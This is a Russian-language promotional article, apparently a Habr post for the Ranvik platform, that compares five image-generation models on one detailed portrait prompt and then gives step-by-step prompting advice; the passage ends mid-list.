Чтобы выяснить, какая нейросеть лучше всего справляется с кожей, светом и сложными текстурами, мы решили провести краш-тест.&lt;p&gt;Логика простая — одинаковый промт, одинаковая цель, одинаковые ожидания. Мы сравниваем сервисы генерации по одному описанию, чтобы понять, как они ведут себя в реальной задаче: когда нужно сделать не просто красиво, а правдоподобно, атмосферно и с хорошим попаданием в детали.&lt;h4&gt;Почему мы выбрали именно этот промпт?&lt;/h4&gt;&lt;p&gt;Для нашего эксперимента мы составили сложный, «многослойный» запрос про исландского смотрителя маяка. Вот почему он считается эталонным для проверки ИИ:&lt;p&gt;Понятный герой: Здесь не просто “старик у моря”, а старый смотритель маяка из Исландии. У персонажа есть визуальная и биографическая логика. Это помогает модели не генерировать случайное лицо, а собрать образ с характером.&lt;p&gt;Проверка на текстуры: Промт задает не только возраст и выражение лица, но и текстуру кожи, щетину, влажные волосы, шерстяной свитер, вощеный плащ, латунный бинокль с патиной. Именно на таких деталях видно, насколько сильна &lt;a href=https://ranvik.ru/image&gt;&lt;strong&gt;генерация изображений по описанию&lt;/strong&gt;&lt;/a&gt;: хорошая модель не замыливает предметы, а удерживает материальность.&lt;p&gt;Работа с освещением: «Синий час» и мягкий свет маяка — сложнейшее сочетание холодного естественного и теплого искусственного света. Мы проверяем, как ИИ выстраивает тени и блики.&lt;p&gt;Анатомия и эмоции: Взгляд «прямо в объектив» и руки, держащие бинокль, — классические «болевые точки» нейросетей. Мы смотрим, сохранит ли модель человечность взгляда и правильную анатомию пальцев.&lt;p&gt;Фотографическая точность: Указание конкретной камеры &lt;em&gt;Fujifilm GFX100s&lt;/em&gt; и ISO 3200 — это требование выдать не просто картинку, а имитацию работы реальной матрицы с характерным зерном и глубиной резкости.&lt;p&gt;&lt;strong&gt;Наш промпт:&lt;/strong&gt;&lt;blockquote&gt;&lt;p&gt;Ультрадетализированный, глубокий фотопортрет пожилого мужчины, живущего в Исландии, снятый на открытом воздухе во время «синего часа» (сразу после заката). Мужчина — старый смотритель маяка. У него худощавое, обветренное лицо, покрытое сетью глубоких морщин, шрамами от морского ветра и естественной щетиной с проседью. Глаза необычного, яркого льдисто-голубого цвета, смотрят прямо в объектив с мудрым, спокойным и немного усталым выражением. Волосы густые, полностью седые, взъерошены ветром и слегка влажные.&lt;p&gt;В руках он держит старинный, потертый морской бинокль в латунном корпусе с патиной, поднеся его к груди. Крупный план по плечи. На нем тяжелый, фактурный свитер ручной вязки из грубой шерсти лопи (традиционный исландский узор lopapeysa) в темно-серых и синих тонах, поверх которого надет старый, выцветший вощеный брезентовый плащ оливкового цвета. Капли моросящего дождя видны на воротнике плаща и на его волосах.&lt;p&gt;Композиция центральная, мужчина занимает большую часть кадра. Фон сильно размыт (эффект боке): видны неясные очертания скалистого побережья, бушующего темного океана и красной верхушки маяка вдалеке, свет которой только что включился и мягко светится в сумерках. Освещение естественное, рассеянное, холодное вечернее, с мягким контровым светом от неба. Гиперреализм, максимальная текстура кожи и шерсти, кинематографичное зерно пленочной фотографии 35мм, стиль Magnum Photos. Снято на Fujifilm GFX100s, объектив 63mm f/2.8, выдержка 1/160, ISO 3200 (для зернистости). Глубокие цвета, естественные поры кожи, без студийного света, без ретуши, без пластиковости.&lt;/blockquote&gt;&lt;h3&gt;Топ 5 нейросетей для генерации изображений&lt;/h3&gt;&lt;p&gt;Для нашего эксперимента мы выбрали пять самых обсуждаемых и мощных моделей на текущий момент. Каждая из них имеет свою репутацию, свои сильные и слабые стороны. &lt;h4&gt;1. GPT Image 1.5&lt;/h4&gt;&lt;p&gt;&lt;a href=https://ranvik.ru/chatgpt&gt;&lt;strong&gt;Нейросеть GPT Image&lt;/strong&gt;&lt;/a&gt;, которая хорошо понимает длинные и сложные описания. Если в промте много деталей — возраст, одежда, свет, настроение, фон — она старается ничего не потерять. Подходит тем, кому нужен точный результат без долгих доработок.&lt;h4&gt;2. Nano Banana 2&lt;/h4&gt;&lt;p&gt;&lt;a href=https://ranvik.ru/nanobanana&gt;&lt;strong&gt;Nano Banana&lt;/strong&gt;&lt;/a&gt; - удобная и быстрая нейросеть, которая хорошо собирает цельную сцену. Она не всегда делает самый эффектный кадр, но часто выдает крепкий результат уже с первой попытки. Хороший вариант, если хочется быстро получить красивое изображение без лишней возни.&lt;h4&gt;3. Grok Imagine Image Pro&lt;/h4&gt;&lt;p&gt;&lt;a href=https://ranvik.ru/grok&gt;&lt;strong&gt;Сервис Grok AI&lt;/strong&gt;&lt;/a&gt; для тех, кто любит более выразительные и характерные картинки. Эта нейросеть может дать сильное настроение, интересный свет и “живой” кадр, но иногда работает чуть менее предсказуемо. Подходит для экспериментов и необычных визуалов.&lt;h4&gt;4. Kling Image 3.0&lt;/h4&gt;&lt;p&gt;&lt;a href=https://ranvik.ru/kling&gt;&lt;strong&gt;Нейросеть Kling&lt;/strong&gt;&lt;/a&gt;, которая хорошо справляется с деталями, фактурами и общей плотностью картинки. Особенно заметно это на одежде, предметах, фоне и освещении. Подойдет тем, кто хочет получить насыщенное, проработанное изображение с хорошей визуальной глубиной.&lt;h4&gt;5. Midjourney V7&lt;/h4&gt;&lt;p&gt;&lt;a href=https://ranvik.ru/midjourney&gt;&lt;strong&gt;Midjourney&lt;/strong&gt;&lt;/a&gt;: Одна из самых популярных нейросетей для красивых и атмосферных изображений. Ее сильная сторона — стиль, композиция и общее ощущение “дорогой” картинки. Отлично подходит, если нужен эффектный визуал, который сразу цепляет взгляд.&lt;h3&gt;GPT Image 1.5 — когда важна точность, а не просто вау-эффект&lt;/h3&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/4c6/9a7/cc5/4c69a7cc52d66d24a380c1a26588af4d.png alt=&#34;GPT Image 1.5 — когда важна точность, а не просто вау-эффект&#34; title=&#34;GPT Image 1.5 — когда важна точность, а не просто вау-эффект&#34; width=1024 height=1024 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/4c6/9a7/cc5/4c69a7cc52d66d24a380c1a26588af4d.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/4c6/9a7/cc5/4c69a7cc52d66d24a380c1a26588af4d.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;GPT Image 1.5 — когда важна точность, а не просто вау-эффект&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;GPT Image 1.5 — это тот сервис, который чаще всего старается понять вас буквально. Не “вдохновиться темой”, а реально собрать кадр из описания. Для сложных портретных промтов это огромное преимущество.&lt;p&gt;В нашем тесте сильная сторона этой модели — дисциплина. Она хорошо держит возраст персонажа, не молодит лицо без причины, неплохо понимает, что значит “обветренная кожа”, “старый морской бинокль”, “синий час”. Именно такие вещи часто теряются у более креативных генераторов.&lt;p&gt;Что особенно приятно — лицо обычно получается не глянцевым. Нет ощущения, что перед вами фотостоковая модель, на которую просто наложили морщины. Если промт сформулирован качественно, GPT Image 1.5 выдает кадр с живой фактурой и без лишней пластиковости. Это сильный плюс для тех, кому нужна &lt;a href=https://ranvik.ru/image&gt;&lt;strong&gt;нейросеть для генерации изображений по тексту&lt;/strong&gt;&lt;/a&gt; именно в фотореалистичном сегменте.&lt;p&gt;По атмосфере модель тоже держится уверенно. Она понимает холодный свет, пасмурность, приглушенную палитру, сырость в воздухе. &lt;p&gt;Но есть и нюанс. Иногда эта модель может быть слишком послушной и чуть менее дерзкой по визуальной драме, чем Midjourney. То есть картинка правильная, точная, убедительная — но не всегда самая “эффектная” с первого взгляда. &lt;p&gt;Кому подойдет GPT Image 1.5:&lt;ul&gt;&lt;li&gt;&lt;p&gt;тем, кому важна точность промта;&lt;li&gt;&lt;p&gt;тем, кто делает реалистичные портреты;&lt;li&gt;&lt;p&gt;тем, кто хочет меньше случайностей;&lt;li&gt;&lt;p&gt;тем, кто ценит управляемый результат;&lt;li&gt;&lt;p&gt;тем, кто использует ИИ для генерации изображений в рабочих задачах, а не только ради эксперимента.&lt;/ul&gt;&lt;h3&gt;Nano Banana 2 — очень быстрый, умный и удивительно практичный&lt;/h3&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/743/9fa/87d/7439fa87d49cd6a4f3c08248fba4e978.png alt=&#34;Nano Banana 2 — очень быстрый, умный и удивительно практичный&#34; title=&#34;Nano Banana 2 — очень быстрый, умный и удивительно практичный&#34; width=1024 height=1024 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/743/9fa/87d/7439fa87d49cd6a4f3c08248fba4e978.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/743/9fa/87d/7439fa87d49cd6a4f3c08248fba4e978.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Nano Banana 2 — очень быстрый, умный и удивительно практичный&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;У Nano Banana 2 хорошо ощущается понимание общей сцены. Он довольно уверенно собирает связный образ: пожилой мужчина, северный климат, вечерний холодный свет, документальная подача. Не всегда идеально, но логика кадра у него крепкая. Особенно заметно это в атмосфере: модель неплохо улавливает “суровую северную жизнь”, а не просто делает симпатичного старика на фоне моря.&lt;p&gt;Google описывает Nano Banana 2 как модель с продвинутым характеристиками, а также с очень быстрой генерацией. Это довольно точно передает реальное впечатление: сервис быстрый, шустрый, и при этом не выглядит игрушечным. &lt;p&gt;Для пользовательского опыта это один из самых удобных вариантов. Когда нужна &lt;a href=https://ranvik.ru/image&gt;&lt;strong&gt;генерация изображений онлайн&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt; &lt;/strong&gt;бесплатно или хотя бы быстрый цикл проб и уточнений, скорость имеет значение. Иногда важнее получить 4 варианта за короткое время и выбрать лучший, чем ждать один идеальный результат.&lt;p&gt;По качеству лица Nano Banana 2 в сложных промтах может чуть уступать GPT Image 1.5 в микродетали кожи и естественности глаз. Но при этом он часто дает очень цельную сцену. Не лучшую в каждой отдельной категории, а просто цельную. И это сильное качество.&lt;p&gt;Где он особенно хорош:&lt;ul&gt;&lt;li&gt;&lt;p&gt;быстрые итерации;&lt;li&gt;&lt;p&gt;атмосферные портреты;&lt;li&gt;&lt;p&gt;понятный интерфейс;&lt;li&gt;&lt;p&gt;хорошее попадание в сюжет;&lt;li&gt;&lt;p&gt;удобный вариант, если нужна&lt;a href=https://ranvik.ru/image&gt; &lt;/a&gt;бесплатная нейросеть для генерации изображений онлайн и хочется меньше возни с настройками.&lt;/ul&gt;&lt;h3&gt;Grok Imagine Image Pro — когда нужна выразительность и ощущение смелого ИИ&lt;/h3&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/1b1/199/3d0/1b11993d092afe7ff84db46e8397d0cd.png alt=&#34;Grok Imagine Image Pro — когда нужна выразительность и ощущение смелого ИИ&#34; title=&#34;Grok Imagine Image Pro — когда нужна выразительность и ощущение смелого ИИ&#34; width=1024 height=1024 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/1b1/199/3d0/1b11993d092afe7ff84db46e8397d0cd.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/1b1/199/3d0/1b11993d092afe7ff84db46e8397d0cd.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Grok Imagine Image Pro — когда нужна выразительность и ощущение смелого ИИ&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Grok в визуальных задачах ощущается как сервис с характером. Он не всегда самый аккуратный, зато нередко выдает картинку с настроением. В портретных задачах это может сыграть как в плюс, так и в минус.&lt;p&gt;В нашем тесте Grok лучше всего проявляет себя там, где важна энергия кадра. Он чаще старается сделать изображение “с настроением”, добавить контраст, выразительность, драму, иногда даже чуть больше, чем просили. Это может дать цепляющий результат, особенно если вы делаете контент для соцсетей, обложки, визуалы с яркой подачей.&lt;p&gt;xAI подтверждает, что в их экосистеме доступны text-to-image generation, image editing и многошаговое уточнение изображения через диалог. На практике это удобно: если первый кадр получился неидеальным, можно быстро дожать его уточнениями, а не переписывать весь запрос с нуля. &lt;p&gt;Но в реалистичном фото у Grok иногда возникает типичная проблема: он может слегка переигрывать драму. Где-то взгляд становится слишком постановочным, где-то кожа выглядит чуть более “сгенерированной”, чем хотелось бы, где-то свет начинает работать уже не как документальная фотография, а как художественный постер. Для одних задач это плюс. Для других — минус.&lt;p&gt;То есть Grok нельзя назвать слабым. Скорее он менее предсказуем. Если вам нужна строгая нейросеть для генерации изображений по описанию без сюрпризов, GPT Image 1.5 и Nano Banana 2 обычно спокойнее. Если хочется более яркого характера и вы готовы сделать 2–3 перегенерации, Grok вполне может приятно удивить.&lt;p&gt;Кому стоит смотреть в его сторону:&lt;ul&gt;&lt;li&gt;&lt;p&gt;тем, кто любит выразительный визуал;&lt;li&gt;&lt;p&gt;тем, кто не боится экспериментировать;&lt;li&gt;&lt;p&gt;тем, кому важен диалоговый сценарий доработки;&lt;li&gt;&lt;p&gt;тем, кто ищет нейросеть для генерации изображений AI с более смелой подачей.&lt;/ul&gt;&lt;h3&gt;Kling Image 3.0 — сильный инструмент, если вам важны контроль и плотность картинки&lt;/h3&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/bff/7a6/fdf/bff7a6fdf0a7e60966cbe7b5accc221c.png alt=&#34;Kling Image 3.0 — сильный инструмент, если вам важны контроль и плотность картинки&#34; title=&#34;Kling Image 3.0 — сильный инструмент, если вам важны контроль и плотность картинки&#34; width=1024 height=1024 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/bff/7a6/fdf/bff7a6fdf0a7e60966cbe7b5accc221c.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/bff/7a6/fdf/bff7a6fdf0a7e60966cbe7b5accc221c.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Kling Image 3.0 — сильный инструмент, если вам важны контроль и плотность картинки&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;В пользовательском опыте Kling Image 3.0 ощущается как сервис, который любит плотную, насыщенную, собранную картинку. Он хорошо держит предметность, довольно уверенно работает с одеждой, материалами и атмосферой кадра. В нашем тесте это особенно заметно на свитере, плаще, влажных деталях и общей телесности изображения.&lt;p&gt;Есть ощущение, что Kling любит картинку “чуть сильнее жизни”. То есть реализм там есть, но иногда он подается с киношным напором. Не обязательно плохо — просто это не всегда максимально нейтральное фото. Если вам нужен контент, который должен выглядеть дорого и эффектно, это может быть большим плюсом.&lt;p&gt;Kling удобен еще и тем, что у него сильная логика последующей доработки. Когда нужно не просто сгенерировать один кадр, а потом аккуратно изменить фон, выражение, свет или отдельные детали, он ведет себя уверенно. Для тех, кто использует &lt;a href=https://ranvik.ru/image&gt;&lt;strong&gt;нейросеть для генерации изображений по фото&lt;/strong&gt;&lt;/a&gt; или комбинирует текст с референсами, это особенно ценно.&lt;p&gt;Где Kling хорош:&lt;ul&gt;&lt;li&gt;&lt;p&gt;предметная плотность кадра;&lt;li&gt;&lt;p&gt;богатые фактуры;&lt;li&gt;&lt;p&gt;сильная одежда и материалы;&lt;li&gt;&lt;p&gt;удобство доработки;&lt;li&gt;&lt;p&gt;работа с референсами и сериями.&lt;/ul&gt;&lt;p&gt;Где надо быть внимательнее:&lt;ul&gt;&lt;li&gt;&lt;p&gt;иногда картинка выглядит чуть “слишком кинематографично”;&lt;li&gt;&lt;p&gt;порой результат кажется более постановочным, чем документальным;&lt;li&gt;&lt;p&gt;при сложном фотореализме лицо нужно проверять особенно внимательно.&lt;/ul&gt;&lt;h3&gt;Midjourney V7 — по красоте и атмосфере все еще один из самых сильных&lt;/h3&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/a3e/48d/728/a3e48d72859a4e0f396e295626a495b1.png alt=&#34;Midjourney V7 — по красоте и атмосфере все еще один из самых сильных&#34; title=&#34;Midjourney V7 — по красоте и атмосфере все еще один из самых сильных&#34; width=1024 height=1024 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/a3e/48d/728/a3e48d72859a4e0f396e295626a495b1.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/a3e/48d/728/a3e48d72859a4e0f396e295626a495b1.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Midjourney V7 — по красоте и атмосфере все еще один из самых сильных&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Midjourney давно стал почти синонимом красивой AI-картинки. И V7 подтверждает, почему. Официально модель описывается как более умная версия с лучшим пониманием промта, более качественными текстурами и лучшеve соответствию деталям. &lt;p&gt;Если говорить простыми словами, Midjourney V7 очень часто делает самую красивую картинку из пяти. Причем “красивую” не в смысле глянца, а в смысле визуальной силы. Он умеет собирать атмосферу, глубину цвета, выразительный фон, благородную драму.&lt;p&gt;Но есть важное “но”. Midjourney не всегда лучший именно в послушности. Он может чуть увести образ в более художественную сторону. Иногда делает лицо слишком благородным, иногда слегка романтизирует старость, иногда делает кадр не документальным, а “как кадр из очень красивого фильма”. Для статьи, афиши, обложки или визуала для соцсетей это прекрасно. Для задачи “сделай максимально правдоподобное фото” — уже вопрос.&lt;p&gt;Зато по эмоции и цельности кадра это почти всегда сильный игрок. Если человек ищет нейросети для генерации изображений Midjourney именно ради эстетики, он обычно получает то, за чем пришел.&lt;p&gt;Когда Midjourney V7 особенно хорош:&lt;ul&gt;&lt;li&gt;&lt;p&gt;атмосферные портреты;&lt;li&gt;&lt;p&gt;арт-дирекшн;&lt;li&gt;&lt;p&gt;сильные обложки;&lt;li&gt;&lt;p&gt;визуалы для брендов;&lt;li&gt;&lt;p&gt;кадры, где важен “вау” с первого взгляда.&lt;/ul&gt;&lt;p&gt;Когда он может уступить:&lt;ul&gt;&lt;li&gt;&lt;p&gt;если критично точное следование каждому слову промта;&lt;li&gt;&lt;p&gt;если нужна максимально нейтральная документальность;&lt;li&gt;&lt;p&gt;если важна полная предсказуемость результата.&lt;/ul&gt;&lt;h3&gt;Как выбрать нейросеть для генерации изображений под свою задачу&lt;/h3&gt;&lt;p&gt;Самая частая ошибка — искать одну “лучшую” &lt;a href=https://ranvik.ru/image&gt;&lt;strong&gt;нейросеть для генерации готовых изображений&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt; &lt;/strong&gt;на все случаи жизни. На практике выбор зависит от задачи.&lt;h4&gt;Если вам нужен реалистичный человек&lt;/h4&gt;&lt;p&gt;Смотрите в сторону сервисов, которые хорошо держат лицо, кожу, возраст и текстуру. Здесь обычно выигрывают модели с сильным пониманием промта и аккуратной работой с фотореализмом.&lt;h4&gt;Если вы делаете креатив для рекламы или соцсетей&lt;/h4&gt;&lt;p&gt;Здесь часто важнее не абсолютная реалистичность, а эффект. Поэтому сервис с более смелой визуальной подачей может дать лучший результат, чем “самый правильный”.&lt;h4&gt;Если вы делаете много попыток подряд&lt;/h4&gt;&lt;p&gt;Важны скорость, удобство, понятный интерфейс, нормальная логика перегенерации. Иногда более быстрый сервис полезнее, чем “чемпион по качеству”, если вам нужно много вариантов.&lt;h4&gt;Если вы работаете с референсами&lt;/h4&gt;&lt;p&gt;Тогда важен не только text-to-image, но и image-to-image, точечное редактирование, сохранение признаков объекта, работа сериями. Тут особенно важны инструменты контроля.&lt;h4&gt;Если вам нужна нейросеть для генерации изображений бесплатно без регистрации&lt;/h4&gt;&lt;p&gt;Тут нужно смотреть не только на маркетинговые обещания, но и на реальные ограничения:&lt;ul&gt;&lt;li&gt;&lt;p&gt;сколько генераций доступно;&lt;li&gt;&lt;p&gt;есть ли водяные знаки;&lt;li&gt;&lt;p&gt;режется ли качество;&lt;li&gt;&lt;p&gt;нужен ли вход через аккаунт;&lt;li&gt;&lt;p&gt;сколько итераций можно делать бесплатно.&lt;/ul&gt;&lt;p&gt;Пользователю часто нужна не “идеальная бесплатность”, а рабочая связка: быстро протестировать идею, понять стиль сервиса, а уже потом решать, подходит ли он под постоянную задачу.&lt;p&gt;&lt;strong&gt;Что можно дополнительно найти на платформе RANVIK?&lt;/strong&gt;&lt;p&gt;&lt;a href=https://ranvik.ru/image&gt;&lt;strong&gt;Генерация изображений AI&lt;/strong&gt;&lt;/a&gt; — сервис позволяет создавать новые иллюстрации по текстовому описанию, улучшать качество фотографий, редактировать отдельные детали и быстро убирать фон.&lt;p&gt;&lt;a href=https://ranvik.ru/chat&gt;&lt;strong&gt;Нейросети для текста&lt;/strong&gt;&lt;/a&gt; — платформа подходит для написания оригинальных материалов, редактирования, перевода, поиска идей и подготовки сценариев для самых разных целей.&lt;p&gt;&lt;a href=https://ranvik.ru/video&gt;&lt;strong&gt;Нейросети для видео&lt;/strong&gt;&lt;/a&gt; — пользователи могут генерировать видеоролики по описанию, менять отдельные элементы, добавлять надписи, анимационные эффекты и другие визуальные детали.&lt;p&gt;&lt;a href=https://ranvik.ru/&gt;&lt;strong&gt;Бесплатный Ranvik AI&lt;/strong&gt;&lt;/a&gt; — универсальная среда, объединяющая инструменты для создания и обработки текстов, изображений, аудио и видео в одном месте.&lt;p&gt;&lt;a href=https://ranvik.ru/audio&gt;&lt;strong&gt;Аудиоинструменты на базе нейросетей&lt;/strong&gt;&lt;/a&gt; — сервис помогает озвучивать текст, создавать мелодии и генерировать музыкальные треки с настройкой нужного звучания.&lt;p&gt;&lt;a href=https://ranvik.ru/animate-photo&gt;&lt;strong&gt;Анимация неподвижных изображений&lt;/strong&gt;&lt;/a&gt; — функция превращает обычные фотографии в динамичные видеосцены с плавным и естественным движением.&lt;p&gt;&lt;a href=https://ranvik.ru/text-to-speech&gt;&lt;strong&gt;Преобразование текста в голос&lt;/strong&gt;&lt;/a&gt; — инструмент создаёт реалистичную озвучку из текста с выбором тембра, настроения, интонации и подачи.&lt;p&gt;&lt;a href=https://ranvik.ru/music-generation&gt;&lt;strong&gt;Генерация музыки&lt;/strong&gt;&lt;/a&gt; — платформа позволяет создавать композиции по заданным параметрам, включая жанр, стиль, атмосферу и особенности звучания.&lt;p&gt;&lt;a href=https://ranvik.ru/feed/photo-prompts&gt;&lt;strong&gt;Готовые промпты для изображений&lt;/strong&gt;&lt;/a&gt; — пользователям предлагаются шаблоны запросов, которые помогают получать более точные, качественные и детализированные визуальные результаты.&lt;p&gt;&lt;a href=https://ranvik.ru/feed/video-prompts&gt;&lt;strong&gt;Промпты для видео&lt;/strong&gt;&lt;/a&gt; — готовые формулировки упрощают создание выразительных и хорошо проработанных роликов с использованием AI.&lt;h3&gt;Как сделать изображение: пошаговая инструкция&lt;/h3&gt;&lt;p&gt;Даже сильная нейросеть для генерации изображений бесплатно на русском не даст хороший кадр, если запрос составлен небрежно. Ниже — простой пошаговый подход, который работает почти в любом сервисе.&lt;h4&gt;Шаг 1. Определите, что именно вы хотите получить&lt;/h4&gt;&lt;p&gt;Не надо начинать с “сделай красиво”. Нужен конкретный ответ на три вопроса:&lt;ul&gt;&lt;li&gt;&lt;p&gt;что в кадре;&lt;li&gt;&lt;p&gt;в каком стиле;&lt;li&gt;&lt;p&gt;для какой цели.&lt;/ul&gt;&lt;p&gt;Например: реалистичный портрет, рекламный баннер, карточка товара, концепт интерьера, fashion-кадр.&lt;h4&gt;Шаг 2. Опишите главный объект&lt;/h4&gt;&lt;p&gt;Сначала — персонаж или предмет. Кто это? Как выглядит? Сколько ему лет? Что он делает? Во что одет? Какие есть характерные черты?&lt;h4&gt;Шаг 3. Добавьте среду&lt;/h4&gt;&lt;p&gt;Где происходит сцена? Улица, студия, лес, море, квартира, офис, снежная пустошь, индустриальный фон — все это влияет на результат сильнее, чем кажется.&lt;h4&gt;Шаг 4. Задайте свет и настроение&lt;/h4&gt;&lt;p&gt;Это один из самых недооцененных шагов. Свет часто решает половину результата. Укажите:&lt;ul&gt;&lt;li&gt;&lt;p&gt;утро, закат, синий час, ночь;&lt;li&gt;&lt;p&gt;мягкий свет или жесткий;&lt;li&gt;&lt;p&gt;студийный или естественный;&lt;li&gt;&lt;p&gt;теплый или холодный;&lt;li&gt;&lt;p&gt;спокойная атмосфера или драматичная.&lt;/ul&gt;&lt;h4&gt;Шаг 5. Уточните визуальный язык&lt;/h4&gt;&lt;p&gt;Если нужен именно фото-результат, так и пишите. Можно добавить:&lt;ul&gt;&lt;li&gt;&lt;p&gt;крупный план;&lt;li&gt;&lt;p&gt;боке;&lt;li&gt;&lt;p&gt;documentary photography;&lt;li&gt;&lt;p&gt;film grain;&lt;li&gt;&lt;p&gt;realistic skin;&lt;li&gt;&lt;p&gt;no retouch;&lt;li&gt;&lt;p&gt;natural light.&lt;/ul&gt;&lt;p&gt;Именно так работают сильные промты для генерации изображений в нейросетях: не набор случайных слов, а последовательное описание кадра.&lt;h4&gt;Шаг 6. Уберите лишнее&lt;/h4&gt;&lt;p&gt;Одна из главных ошибок — пытаться впихнуть в промт десять идей сразу. Если нужно реалистичное фото, не стоит одновременно просить “фотореализм, аниме, неон, сюрреализм, fashion editorial и старую пленку”. Модель либо запутается, либо выберет что-то одно.&lt;h4&gt;Шаг 7. Сделайте 3–5 итераций&lt;/h4&gt;&lt;p&gt;Даже лучшая &lt;a href=https://ranvik.ru/image&gt;&lt;strong&gt;нейросеть для генерации изображений&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt; &lt;/strong&gt;редко попадает идеально с первого раза. Нормальная практика — сделать несколько заходов:&lt;ul&gt;&lt;li&gt;&lt;p&gt;первый — базовый;&lt;li&gt;&lt;p&gt;второй — усилить детали;&lt;li&gt;&lt;p&gt;третий — поправить свет;&lt;li&gt;&lt;p&gt;четвертый — уточнить лицо;&lt;li&gt;&lt;p&gt;пятый — убрать лишнюю стилизацию.&lt;/ul&gt;&lt;h4&gt;Шаг 8. Сохраняйте удачные формулировки&lt;/h4&gt;&lt;p&gt;Если нашли хороший шаблон промта, не теряйте его. Постепенно у вас появится личная библиотека: портреты, товарка, интерьеры, еда, рекламные сцены, moodboard-кадры. Это экономит массу времени.&lt;h3&gt;Типичные ошибки при генерации фото&lt;/h3&gt;&lt;p&gt;Даже если вы используете лучшие бесплатные нейросети для генерации изображений, ошибки в запросе быстро портят результат.&lt;h4&gt;Слишком общий запрос&lt;/h4&gt;&lt;p&gt;“Сделай мужчину у моря” — плохой промт. Он не задает ни характера, ни атмосферы, ни качества света, ни композиции.&lt;h4&gt;Слишком много противоречий&lt;/h4&gt;&lt;p&gt;Если вы пишете “гиперреалистично, как кино, как иллюстрация, как комикс, как старый постер, как fashion-съемка”, модель выбирает случайную смесь.&lt;h4&gt;Нет главного акцента&lt;/h4&gt;&lt;p&gt;Промт должен понимать, что главное: лицо, одежда, фон, предмет в руках, настроение, композиция. Если вы не расставили акценты, сервис сделает это за вас — и не факт, что удачно.&lt;h4&gt;Перегруз техническими терминами&lt;/h4&gt;&lt;p&gt;Иногда кажется, что чем больше настроек камеры вы напишете, тем лучше. На практике нет. Если вы не понимаете, зачем добавляете конкретное фокусное расстояние или ISO, лучше написать меньше, но точнее.&lt;h4&gt;Игнорирование негативных ограничений&lt;/h4&gt;&lt;p&gt;Если вам не нужна глянцевая кожа, студийный свет или лишняя ретушь — лучше это указать. В нашем тестовом промте именно фразы “без студийного света”, “без ретуши”, “без пластиковости” заметно улучшают шанс на живой результат.&lt;h4&gt;Ожидание идеала с первого раза&lt;/h4&gt;&lt;p&gt;Это, пожалуй, самая частая проблема. Люди думают, что &lt;a href=https://ranvik.ru/image&gt;&lt;strong&gt;генерация изображений&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt; &lt;/strong&gt;бесплатно работает как кнопка “сделать шедевр”. На деле сильный результат почти всегда рождается через уточнение.&lt;h3&gt;Как улучшить результат, если картинка уже почти хорошая&lt;/h3&gt;&lt;p&gt;Допустим, нейронка для генерации изображений выдала кадр, который в целом нравится, но что-то не дожато. Что делать?&lt;h4&gt;Если картинка слишком “глянцевая”&lt;/h4&gt;&lt;p&gt;Добавьте:&lt;ul&gt;&lt;li&gt;&lt;p&gt;no retouch;&lt;li&gt;&lt;p&gt;natural pores;&lt;li&gt;&lt;p&gt;documentary style;&lt;li&gt;&lt;p&gt;realistic skin texture;&lt;li&gt;&lt;p&gt;not studio-lit.&lt;/ul&gt;&lt;h4&gt;Если кадр слишком художественный, а нужен фото-реализм&lt;/h4&gt;&lt;p&gt;Уберите лишние художественные указания и оставьте фотоязык: natural light, candid portrait, realistic photo, 35mm film grain, shallow depth of field.&lt;h4&gt;Если фон спорит с героем&lt;/h4&gt;&lt;p&gt;Сделайте фон вторичным: blurred background, soft bokeh, subtle distant lighthouse, background out of focus.&lt;h4&gt;Если сервис теряет предмет в руках&lt;/h4&gt;&lt;p&gt;Вынесите этот предмет ближе к началу промта и опишите его отдельно. Для модели важен порядок слов.&lt;p&gt;Именно такие маленькие правки чаще всего превращают “нормально” в “очень хорошо”.&lt;h3&gt;Когда стоит использовать одну нейросеть, а когда — несколько&lt;/h3&gt;&lt;p&gt;Практика показывает, что лучший результат часто дает не один сервис, а связка.&lt;p&gt;Например:&lt;ul&gt;&lt;li&gt;&lt;p&gt;в одном сервисе вы ищете композицию;&lt;li&gt;&lt;p&gt;в другом — добиваетесь лучшего лица;&lt;li&gt;&lt;p&gt;в третьем — дорабатываете детали;&lt;li&gt;&lt;p&gt;в четвертом 